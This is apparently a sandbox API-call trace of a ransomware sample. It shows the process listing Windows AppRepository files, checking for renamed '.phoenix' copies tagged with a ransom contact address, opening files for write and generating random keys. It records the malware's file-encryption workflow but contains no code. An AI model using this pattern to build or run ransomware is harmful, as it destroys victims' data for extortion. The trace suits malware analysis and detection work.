	[0250.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.897] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.898] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=952) returned 1
	[0250.898] CloseHandle (hObject=0x2c8) returned 1
	[0250.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml")) returned 0x20
	[0250.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.898] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.898] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.898] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.898] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=952) returned 1
	[0250.898] CloseHandle (hObject=0x2c8) returned 1
	[0250.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml")) returned 0x20
	[0250.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-125_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.899] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.899] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16812) returned 1
	[0250.899] CloseHandle (hObject=0x2c8) returned 1
	[0250.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml")) returned 0x20
	[0250.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.899] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.899] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.900] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=27377) returned 1
	[0250.900] CloseHandle (hObject=0x2c8) returned 1
	[0250.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml")) returned 0x20
	[0250.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_x64__kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.900] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.900] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15611) returned 1
	[0250.900] CloseHandle (hObject=0x2c8) returned 1
	[0250.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml")) returned 0x20
	[0250.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.901] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.901] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3373) returned 1
	[0250.901] CloseHandle (hObject=0x2c8) returned 1
	[0250.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.901] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.901] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.901] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.902] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=25943) returned 1
	[0250.902] CloseHandle (hObject=0x2c8) returned 1
	[0250.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.StorePurchaseApp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.storepurchaseapp_1.0.454.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.902] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=843) returned 1
	[0250.902] CloseHandle (hObject=0x2c8) returned 1
	[0250.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.903] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.903] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=843) returned 1
	[0250.903] CloseHandle (hObject=0x2c8) returned 1
	[0250.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.903] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.903] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1258) returned 1
	[0250.904] CloseHandle (hObject=0x2c8) returned 1
	[0250.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.904] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.904] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1258) returned 1
	[0250.904] CloseHandle (hObject=0x2c8) returned 1
	[0250.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.904] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.22929.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.904] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.905] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1266) returned 1
	[0250.905] CloseHandle (hObject=0x2c8) returned 1
	[0250.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.905] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.VCLibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.vclibs.140.00_14.0.24123.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.905] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1266) returned 1
	[0250.905] CloseHandle (hObject=0x2c8) returned 1
